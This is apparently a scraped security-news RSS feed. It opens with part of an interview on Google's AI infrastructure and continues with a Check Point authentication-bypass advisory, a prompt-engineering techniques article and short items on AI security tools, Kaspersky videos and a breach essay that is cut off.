<p class="wp-block-paragraph"><strong>NW: What’s the goal of the infrastructure buildout, and what should customers expect regarding costs?</strong></p>



<p class="wp-block-paragraph"><strong>ML: </strong>Ultimately, it’s about enabling customers with leading-edge capabilities and models at scale cost-effectively. With agents, <a href="https://www.networkworld.com/article/4057121/network-and-cloud-implications-of-agentic-ai.html">inference transactions increase</a> by 50x, 100x versus non-agentic workloads. We’re driving the cost per transaction down exponentially. In our latest platforms, we reduce the cost by almost 2x for the same work. Customers serve twice the number of users at the same cost, directly driving profitability.</p>



<p class="wp-block-paragraph"><strong>NW: How are you addressing energy efficiency?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Energy is a critical resource, and Google has optimized for years. We design data centers and compute [to drive] high PUE (power usage effectiveness). We introduced <a href="https://www.networkworld.com/article/4149069/why-ai-rack-densities-make-liquid-cooling-nonnegotiable.html">liquid cooling</a> over five years ago, and these latest systems are all liquid cooled. For agentic workloads, CPUs come to the forefront… orchestrating agents, calling tools, doing evaluation loops in reinforcement learning. Our latest Axion-based CPU platform called <a href="https://www.networkworld.com/article/4086182/google-cloud-aims-for-more-cost-effective-arm-computing-with-axion-n4a.html">N4A</a> has energy efficiency and is significantly better than the prior generation and x86 comparables.</p>



<p class="wp-block-paragraph"><strong>NW: How do you think about token efficiency as you build-out systems?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Performance and efficiency gains are powered by co-design of the model and infrastructure. <a href="https://www.computerworld.com/article/4161990/gemini-enterprise-update-brings-ai-agents-into-collaborative-workflows.html">Gemini</a> is trained on TPUs, primarily served on TPUs with high frontier model capability, in a token and cost-efficient way. This stems from co-design across the full stack.</p>



<p class="wp-block-paragraph"><strong>NW: How do you project what infrastructure will be needed years in advance?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Hardware cycles deliver a new next generation roughly every year, but design cycles are two years or more in advance. We work with <a href="https://deepmind.google/about/">DeepMind</a> doing core research, to application teams taking models into production, to billions of users, to our team building infrastructure. We work upstream with DeepMind and application teams to understand what’s coming. Agents weren’t being broadly spoken of externally, but internally we had those insights around what they would need. That shows up in hardware design. We hit the timing right — these platforms are built for agents.</p>



<p class="wp-block-paragraph"><strong>NW: What’s the eighth generation TPU platform?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> We deliver new platforms every year, and ones launched years ago are close to 100% utilized because demand for AI-optimized compute is high. The <a href="https://www.networkworld.com/article/4162004/google-bets-on-workload-specific-tpus-with-8t-and-8i-launch.html">eighth-generation TPU platform</a> is the first delivering two complete systems, from the chip all the way up to the network and storage and software, that are optimized.</p>



<p class="wp-block-paragraph"><a href="https://cloud.google.com/blog/products/compute/tpu-8t-and-tpu-8i-technical-deep-dive">TPU-8t</a> is optimized for training, and TPU-8i is optimized for inference. For TPU-8i, we increased SRAM on the chip to 384MB — three times the prior generation — and increased the HBM by 50%.</p>



<p class="wp-block-paragraph"><strong>NW: How are you approaching GPU and TPU compatibility?</strong></p>



<p class="wp-block-paragraph"><strong>ML: </strong>People in a single cluster do not commingle GPUs and TPUs. We offer both options based on specific workload needs. We’ve been investing on the TPU side in using software frameworks customers are comfortable with on GPUs and enabling those on TPUs. For example, <a href="https://www.infoworld.com/article/2335194/what-is-pytorch-python-machine-learning-on-gpus.html">PyTorch</a> and vLLM. Customers could have a pool of GPUs and TPUs, running vLLM on top of that. Start with a workload on TPUs, but if the TPU pool is fully utilized, spill to GPUs or vice versa. This works because it’s all leveraging the same compatible software layer on top.</p>



<p class="wp-block-paragraph"><strong>NW: How has the orchestration platform changed for agents?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Kubernetes is becoming the orchestration platform of choice for AI. Google is transforming <a href="https://www.infoworld.com/article/2255921/gke-tutorial-get-started-with-google-kubernetes-engine.html">GKE</a> [Google Kubernetes Engine] into an agent-native orchestration solution. When expressing intent to an agent and it spins up multiple sub-agents, compute needs to spin up rapidly — TPUs or GPUs — without long delays, then run and spin back down. We’re optimizing at every layer of the <a href="https://cloud.google.com/kubernetes-engine">GKE stack</a>: significantly improving node startup time and how rapidly we start and stop containers. Lovable demonstrates this with GKE, spinning up hundreds of sandboxes for live coding sessions on their platform in parallel, paying for infrastructure when needed.</p>



<p class="wp-block-paragraph"><strong>NW: What is the role of the network and storage infrastructure?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> The network is critical for AI. This requires creating large-scale clusters of GPUs or TPUs and enabling them to talk to each other in a high-performance way. <a href="https://cloud.google.com/blog/products/networking/introducing-virgo-megascale-data-center-fabric">We created the Virgo network</a> — a collapsed network architecture, non-blocking within a data center, where multiple pods or NVLink72 domains connect together.</p>



<p class="wp-block-paragraph">In TPU8T, we can connect over a million TPUs together leveraging Virgo, creating large-scale, high-performance, reliable clusters that shrink innovation cycles. Storage is equally critical. In large-scale clusters, something is always failing. The ability to take snapshots and go back to a checkpoint is important.</p>



<p class="wp-block-paragraph">We’ve introduced <a href="https://cloud.google.com/products/managed-lustre">Managed Lustre 10T</a>, with 10 terabytes per second of bandwidth, 18 petabytes of storage in single clusters. This is 10 times faster than last year and 20 times faster than competition. We have Rapid Bucket, low-latency storage backed by Google storage systems. Both are impactful in large-scale training environments.</p>



<p class="wp-block-paragraph"><strong>NW: How does KV cache strategy differ between training and inference?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> For <a href="https://blog.google/innovation-and-ai/infrastructure-and-cloud/google-cloud/eighth-generation-tpu-agentic-era/">TPU-8i</a>, we increased SRAM on the chip to 384 megabytes — three times the prior generation — and increased the HBM by 50%. Storing KV cache directly in chip memory allows responding to inference requests much more rapidly and cost-effectively than going to an external system. For inference workloads, storing as much KV cache as possible on-chip is critical.</p>



<p class="wp-block-paragraph">We’re introducing a dedicated KV cache storage subsystem that works across GPUs and TPUs. As KV caches get larger, being able to fall back to this dedicated subsystem becomes critical. Loading model weights rapidly is important in dynamic inference environments where accelerators switch between models hour by hour.</p>
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<title><![CDATA[CVE-2026-16232: Critical Check Point SmartConsole Authentication Bypass Exploited in the Wild]]></title>
<description><![CDATA[OverviewOn July 22, 2026, Check Point published a security advisory for multiple vulnerabilities affecting Security Management, Multi-Domain Management, and firewall products. The most urgent of these is CVE-2026-16232, an authentication bypass in the SmartConsole login process classified as impr...]]></description>
<link>https://tsecurity.de/de/3689068/it-security-nachrichten/cve-2026-16232-critical-check-point-smartconsole-authentication-bypass-exploited-in-the-wild/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689068/it-security-nachrichten/cve-2026-16232-critical-check-point-smartconsole-authentication-bypass-exploited-in-the-wild/</guid>
<pubDate>Thu, 23 Jul 2026 14:42:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Overview</h2><p><span>On July 22, 2026, Check Point </span><a href="https://blog.checkpoint.com/security/security-advisory-action-required-active-exploitation-of-check-point-smartconsole-authentication-bypass-cve-2026-16232/"><span>published a security advisory</span></a><span> for multiple vulnerabilities affecting Security Management, Multi-Domain Management, and firewall products. The most urgent of these is </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-16232/"><span>CVE-2026-16232</span></a><span>, an authentication bypass in the SmartConsole login process classified as improper authentication (</span><a href="https://cwe.mitre.org/data/definitions/287.html"><span>CWE-287</span></a><span>). CVE-2026-16232 has been assigned a critical CVSS score of 9.1. The vulnerability allows an unauthenticated remote attacker to obtain an application login token and authenticate to the management server with full administrative privileges, enabling modification of security policies and configurations.</span></p><p><span>Check Point has confirmed that CVE-2026-16232 is being actively exploited in the wild, affecting what the vendor describes as a small number of customers. Remote exploitation requires network access to the Management Server IP address in environments that do not restrict Trusted Clients. On the same day as the advisory, CVE-2026-16232 was </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-16232"><span>added</span></a><span> to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), with a remediation due date of July 25, 2026, giving organizations only three days to respond.</span></p><p><span>The advisory addresses three vulnerabilities in total:</span></p><table><colgroup data-width="1250"><col><col><col><col><col></colgroup><thead><tr><th><p><span><strong>CVE</strong></span></p></th><th><p><span><strong>CVSS</strong></span></p></th><th><p><span><strong>Description</strong></span></p></th><th><p><span><strong>Affected Products</strong></span></p></th><th><p><span><strong>Exploitation Status</strong></span></p></th></tr></thead><tbody><tr><td><p><span>CVE-2026-16232</span></p></td><td><p><span>Vendor: 9.3 (Critical)</span><br><span>CISA: 9.1 (Critical)</span></p></td><td><p><span>Authentication bypass via SmartConsole application token</span></p></td><td><p><span>Security Management, Multi-Domain Management</span></p></td><td><p><span>Exploited in the wild</span></p></td></tr><tr><td><p><span>CVE-2026-62144</span></p></td><td><p><span>Vendor: 9.3 (Critical)</span><br><span>CISA: 9.1 (Critical)</span></p></td><td><p><span>Management authentication bypass and privilege escalation</span></p></td><td><p><span>Security Management, Multi-Domain Management</span></p></td><td><p><span>No known exploitation</span></p></td></tr><tr><td><p><span>CVE-2026-62145</span></p></td><td><p><span>7.5 (High)</span></p></td><td><p><span>Local privilege escalation in GaiaOS WebUI</span></p></td><td><p><span>Firewall, Multi-Domain Management, Multi-Domain Log Server</span></p></td><td><p><span>No known exploitation</span></p></td></tr></tbody></table><p></p><p><span>Compromise of a Security Management Server is particularly consequential because it sits at the top of the trust hierarchy. An attacker with administrative access can modify security policies across managed gateways, alter administrator permissions, manipulate VPN configurations, and potentially disable or tamper with logging and monitoring. According to Check Point's </span><a href="https://blog.checkpoint.com/security/security-advisory-action-required-active-exploitation-of-check-point-smartconsole-authentication-bypass-cve-2026-16232/"><span>advisory</span></a><span>, the vulnerabilities were discovered during a routine internal review, with subsequent analysis revealing that CVE-2026-16232 had been exploited prior to the availability of a patch.</span></p><p><span>Check Point network security products have been targeted by multiple in-the-wild vulnerabilities over the past two years. In June 2026, </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-50751/"><span>CVE-2026-50751</span></a><span>, a critical authentication bypass in Check Point Remote Access VPN, was exploited in the wild and added to the CISA KEV. In May 2024, </span><a href="https://www.rapid7.com/blog/post/2024/05/30/etr-cve-2024-24919-check-point-security-gateway-information-disclosure/"><span>CVE-2024-24919</span></a><span>, a high-severity information disclosure vulnerability in Check Point Quantum Security Gateways, was also exploited in the wild. Organizations running affected Check Point management products should apply the available hotfixes on an emergency basis.</span></p><h2>Mitigation guidance</h2><p><span>Check Point released Jumbo Hotfixes on July 22, 2026, to remediate CVE-2026-16232, CVE-2026-62144, and CVE-2026-62145. Organizations running affected versions of Security Management or Multi-Domain Management should install the latest Jumbo Hotfix on an emergency basis, without waiting for a regular patch cycle to occur.</span></p><p><span>The following versions are affected by CVE-2026-16232:</span></p><ul><li><p><span>R82.10</span><span>: fixed in Jumbo Hotfix Take 36 and later</span></p></li><li><p><span>R82</span><span>: fixed in Jumbo Hotfix Take 118 and later</span></p></li><li><p><span>R81.20</span><span>: fixed in Jumbo Hotfix Take 158 and later</span></p></li><li><p><span>R81.10</span><span>, </span><span>R81</span><span>, </span><span>R80.30</span><span>, </span><span>R80.20</span><span>, </span><span>R80.10</span><span>, </span><span>R80</span><span>, and </span><span>R77.30</span><span>: no fix specified</span></p></li></ul><p></p><p><span>CVE-2026-62144 and CVE-2026-62145 affect the same release families (</span><span>R81.10</span><span>, </span><span>R81.20</span><span>, </span><span>R82</span><span>, </span><span>R82.10</span><span>) per the vendor advisory, with older versions also impacted.</span></p><p><span>Smart-1 Cloud customers are already protected according to Check Point. For on-premises deployments where the hotfix cannot be applied immediately, Check Point recommends the following steps to reduce exposure:</span></p><ul><li><p><span>Restrict Trusted Clients (GUI clients) to trusted IP addresses or subnets</span></p></li><li><p><span>Protect Management access with a firewall and restrict access to trusted IP addresses</span></p></li><li><p><span>Verify that implied rules for control connections are enabled</span></p></li></ul><p><span>These mitigations reduce the attack surface, but they do not address the underlying vulnerability. Installing the Jumbo Hotfix remains the priority.</span></p><p><span>Rapid7 strongly recommends investigating for signs of compromise even after applying the hotfix, particularly in environments where the Management Server has been accessible from the internet. Organizations should review administrator, SmartConsole, API, and application token activity, and search logs for the published indicators of compromise listed below.</span></p><p><span>For the latest mitigation guidance, please refer to the vendor </span><a href="https://support.checkpoint.com/results/sk/sk185169"><span>advisory</span></a><span>.</span></p><h2>Rapid7 customers</h2><h3><span>Exposure Command, InsightVM, and Nexpose</span></h3><p><span>Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-16232, CVE-2026-62144, CVE-2026-62145 with authenticated vulnerability checks expected to be available in the 24 July content release.</span></p><h2>Indicators of compromise</h2><p><span>Check Point has published the following IP addresses associated with observed exploitation of CVE-2026-16232:</span></p><ul><li><p><span>151.241.99[.]207</span></p></li><li><p><span>151.241.99[.]233</span></p></li><li><p><span>158.62.198[.]182</span></p></li><li><p><span>192.142.10[.]99</span></p></li><li><p><span>139.28.37[.]250</span></p></li><li><p><span>194.213.18[.]137</span></p></li></ul><p></p><p><span>Per the vendor, the presence of these indicators should prompt investigation, but the absence of these addresses does not confirm that an environment was unaffected.</span></p><h2>Updates</h2><ul><li><p><span><strong>July 23, 2026</strong></span><span>: Initial publication.</span></p></li></ul>]]></content:encoded>
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<title><![CDATA[Google Launches CodeMender AI Agent to Find, Validate, and Patch Vulnerabilities]]></title>
<description><![CDATA[Google has introduced CodeMender, a new AI-powered code security agent designed to find, validate automatically, and patch vulnerabilities at machine speed, as organizations face a surge in AI-driven cyber threats targeting software supply chains. The launch marks a shift from traditional vulnera...]]></description>
<link>https://tsecurity.de/de/3689012/it-security-nachrichten/google-launches-codemender-ai-agent-to-find-validate-and-patch-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689012/it-security-nachrichten/google-launches-codemender-ai-agent-to-find-validate-and-patch-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 14:23:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google has introduced CodeMender, a new AI-powered code security agent designed to find, validate automatically, and patch vulnerabilities at machine speed, as organizations face a surge in AI-driven cyber threats targeting software supply chains. The launch marks a shift from traditional vulnerability scanning toward autonomous remediation, where security tools not only detect flaws but also […]</p>
<p>The post <a href="https://cybersecuritynews.com/google-launches-codemender-ai-agent/">Google Launches CodeMender AI Agent to Find, Validate, and Patch Vulnerabilities</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Google Released Gemini 3.5 Flash Cyber AI, a Specialized AI Model for Vulnerability Hunting]]></title>
<description><![CDATA[Google DeepMind unveiled Gemini 3.5 Flash Cyber, an AI model for vulnerability discovery and patching, available only to governments and trusted partners. Google DeepMind announced Gemini 3.5 Flash Cyber on Tuesday, a security-focused AI model built on top of the existing 3.5 Flash architecture a...]]></description>
<link>https://tsecurity.de/de/3688998/it-security-nachrichten/google-released-gemini-35-flash-cyber-ai-a-specialized-ai-model-for-vulnerability-hunting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688998/it-security-nachrichten/google-released-gemini-35-flash-cyber-ai-a-specialized-ai-model-for-vulnerability-hunting/</guid>
<pubDate>Thu, 23 Jul 2026 14:15:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Google DeepMind unveiled Gemini 3.5 Flash Cyber, an AI model for vulnerability discovery and patching, available only to governments and trusted partners. Google DeepMind announced Gemini 3.5 Flash Cyber on Tuesday, a security-focused AI model built on top of the existing 3.5 Flash architecture and designed specifically to find, validate, and patch software vulnerabilities. It […]]]></content:encoded>
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<title><![CDATA[Kaspersky’s Sustainability report 2024-2025: protecting data, building trust]]></title>
<description><![CDATA[Author: Kaspersky - Bewertung: 2x - Views:4 Data security is a core part of how Kaspersky protects its products and users. In this video we talk about our approach to protecting data, the measures behind it and why continuous improvement matters. Watch to learn how we build trust through responsi...]]></description>
<link>https://tsecurity.de/de/3688971/malware-trojaner-viren/kasperskys-sustainability-report-2024-2025-protecting-data-building-trust/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688971/malware-trojaner-viren/kasperskys-sustainability-report-2024-2025-protecting-data-building-trust/</guid>
<pubDate>Thu, 23 Jul 2026 14:05:55 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Kaspersky - Bewertung: 2x - Views:4 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/kzfK4yVPNj4?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Data security is a core part of how Kaspersky protects its products and users. In this video we talk about our approach to protecting data, the measures behind it and why continuous improvement matters. Watch to learn how we build trust through responsibility and resilience. <br />
<br />
Find more details in the report: https://kas.pr/7jar<br />
 <br />
#kaspersky #esg #sustainability #cybersecurity<br/></p>]]></content:encoded>
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<title><![CDATA[The Best Vacuum for Pet Hair—We Tested Many to Find Which Ones Work Best (2026)]]></title>
<description><![CDATA[Cordless, handheld, robot, and traditional—we tested them all to find the vacuum that’s fantastic for fur.]]></description>
<link>https://tsecurity.de/de/3688926/it-nachrichten/the-best-vacuum-for-pet-hair-we-tested-many-to-find-which-ones-work-best-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688926/it-nachrichten/the-best-vacuum-for-pet-hair-we-tested-many-to-find-which-ones-work-best-2026/</guid>
<pubDate>Thu, 23 Jul 2026 13:50:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Cordless, handheld, robot, and traditional—we tested them all to find the vacuum that’s fantastic for fur.]]></content:encoded>
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<title><![CDATA[AI out of control: OpenAI admits to cyberattack - YouTube]]></title>
<description><![CDATA[", sagt Dennis-Kenji Kipker, Experte für IT-Sicherheit. _____ ... IT security expert. _____ Here on ZDFheute News, you'll find out what's ...]]></description>
<link>https://tsecurity.de/de/3688907/it-security-nachrichten/ai-out-of-control-openai-admits-to-cyberattack-youtube/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688907/it-security-nachrichten/ai-out-of-control-openai-admits-to-cyberattack-youtube/</guid>
<pubDate>Thu, 23 Jul 2026 13:45:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[", sagt Dennis-Kenji Kipker, Experte für <b>IT</b>-<b>Sicherheit</b>. _____ ... <b>IT security</b> expert. _____ Here on ZDFheute News, you'll find out what's ...]]></content:encoded>
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<title><![CDATA[Kaspersky’s Sustainability report 2024-2025: collaboration in action]]></title>
<description><![CDATA[Author: Kaspersky - Bewertung: 1x - Views:2 Kaspersky’s responsibility starts with cooperation and respect. In this video we discuss our key stakeholders and how we work together to protect what matters most, strengthening digital safety for everyone. 

Find more details in the report: https://ka...]]></description>
<link>https://tsecurity.de/de/3688806/malware-trojaner-viren/kasperskys-sustainability-report-2024-2025-collaboration-in-action/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688806/malware-trojaner-viren/kasperskys-sustainability-report-2024-2025-collaboration-in-action/</guid>
<pubDate>Thu, 23 Jul 2026 13:08:01 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Kaspersky - Bewertung: 1x - Views:2 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/v5q2y9awFnM?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Kaspersky’s responsibility starts with cooperation and respect. In this video we discuss our key stakeholders and how we work together to protect what matters most, strengthening digital safety for everyone. <br />
<br />
Find more details in the report: https://kas.pr/7jar <br />
<br />
#kaspersky #esg #sustainability #cybersecurity<br/></p>]]></content:encoded>
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<title><![CDATA[Stop asking AI nicely: Here’s how to get work-ready results every time]]></title>
<description><![CDATA[Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation fo...]]></description>
<link>https://tsecurity.de/de/3688796/it-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688796/it-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</guid>
<pubDate>Thu, 23 Jul 2026 13:07:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.</p>



<h2 class="wp-block-heading">Why advanced prompting still matters in enterprise settings</h2>



<p class="wp-block-paragraph">Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.</p>



<h3 class="wp-block-heading">1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning</h3>



<p class="wp-block-paragraph"><strong>The problem:</strong> Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.</p>



<p class="wp-block-paragraph"><strong>What I did:</strong> I started explicitly instructing the model to “think step by step” and show its reasoning.</p>



<p class="wp-block-paragraph"><strong>Before (basic prompt): </strong>“Analyze last quarter’s sales data and recommend three actions.”</p>



<p class="wp-block-paragraph"><strong>After (CoT prompt):</strong></p>



<p class="wp-block-paragraph">“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  </p>



<p class="wp-block-paragraph"><strong>Results:</strong> Accuracy and depth improved dramatically.</p>



<p class="wp-block-paragraph"><strong>Variants that worked well:</strong> Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.</p>



<p class="wp-block-paragraph"><strong>Template you can use:</strong></p>



<pre class="wp-block-code"><code>You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]</code></pre>



<h3 class="wp-block-heading">2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths</h3>



<p class="wp-block-paragraph">For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.</p>



<p class="wp-block-paragraph"><strong>Example:</strong> I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT</p>



<p class="wp-block-paragraph"><strong>Prompt Snippet:</strong></p>



<pre class="wp-block-code"><code>Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.</code></pre>



<p class="wp-block-paragraph"><strong>Outcome:</strong> The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).</p>



<p class="wp-block-paragraph"><strong>When to use:</strong> Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.</p>



<h3 class="wp-block-heading">3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior</h3>



<p class="wp-block-paragraph">One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.</p>



<p class="wp-block-paragraph"><strong>ReAct example</strong>: (used in data analytics workflow)</p>



<pre class="wp-block-code"><code>You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]</code></pre>



<p class="wp-block-paragraph">In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.</p>



<h3 class="wp-block-heading">4. Meta-prompting and self-reflection: Letting the model improve itself</h3>



<p class="wp-block-paragraph">Use the model to refine its own prompt. This is a huge time-saver.</p>



<pre class="wp-block-code"><code>You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.</code></pre>



<p class="wp-block-paragraph">Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.</p>



<h3 class="wp-block-heading">5. Multimodal and structured output techniques</h3>



<p class="wp-block-paragraph">With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).</p>



<p class="wp-block-paragraph"><strong>Tip from experience:</strong> Be extremely specific in describing what the models should focus on.</p>



<h4 class="wp-block-heading">Best practices I learned the hard way</h4>



<ul class="wp-block-list">
<li><strong>Start simple, then layer complexity</strong>: Over-engineered prompts from Day One usually backfire.</li>



<li><strong>Model specific tuning:</strong> Some models respond better to XML delimiters; others to explicit reasoning.</li>



<li><strong>Evaluation and versioning:</strong> Treat prompts like code if you track versions and run automated evals.</li>



<li><strong>Security guardrails:</strong> Always include instructions against prompt injections and respect data boundaries.</li>



<li><strong>When to stop prompting</strong>: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.</li>
</ul>



<h2 class="wp-block-heading">Final takeaways for technical leaders</h2>



<p class="wp-block-paragraph">Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.</p>



<p class="wp-block-paragraph">The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Flaws in Passkey Implementation Show Old Attacks Still Work]]></title>
<description><![CDATA[Ahead of Black Hat USA, researchers find exploitable flaws in how Microsoft handles passkeys that could allow attackers to impersonate privileged users.]]></description>
<link>https://tsecurity.de/de/3688781/it-security-nachrichten/flaws-in-passkey-implementation-show-old-attacks-still-work/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688781/it-security-nachrichten/flaws-in-passkey-implementation-show-old-attacks-still-work/</guid>
<pubDate>Thu, 23 Jul 2026 13:02:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ahead of Black Hat USA, researchers find exploitable flaws in how Microsoft handles passkeys that could allow attackers to impersonate privileged users.]]></content:encoded>
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<title><![CDATA[Kaspersky’s Sustainability report 2024-2025: our sustainability principles]]></title>
<description><![CDATA[Author: Kaspersky - Bewertung: 0x - Views:1 In this video, we explain what sustainability means for Kaspersky. Learn how respect for human rights, adherence to regulatory requirements and meaningful contribution to society and environment shape our guiding principles. From our commitment to trans...]]></description>
<link>https://tsecurity.de/de/3688687/malware-trojaner-viren/kasperskys-sustainability-report-2024-2025-our-sustainability-principles/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688687/malware-trojaner-viren/kasperskys-sustainability-report-2024-2025-our-sustainability-principles/</guid>
<pubDate>Thu, 23 Jul 2026 12:20:12 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Kaspersky - Bewertung: 0x - Views:1 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/X3sBp_91LnE?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>In this video, we explain what sustainability means for Kaspersky. Learn how respect for human rights, adherence to regulatory requirements and meaningful contribution to society and environment shape our guiding principles. From our commitment to transparency, resilient supply chains to measures that ensure our products can be trusted, we're actively working towards a safer future.<br />
<br />
Find more details in the report: https://kas.pr/7jar<br />
<br />
#kaspersky #esg #sustainability #cybersecurity<br/></p>]]></content:encoded>
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<title><![CDATA[Principles every enterprise must test before the attack arrives]]></title>
<description><![CDATA[I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company mos...]]></description>
<link>https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.</p>



<p class="wp-block-paragraph">Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”</p>



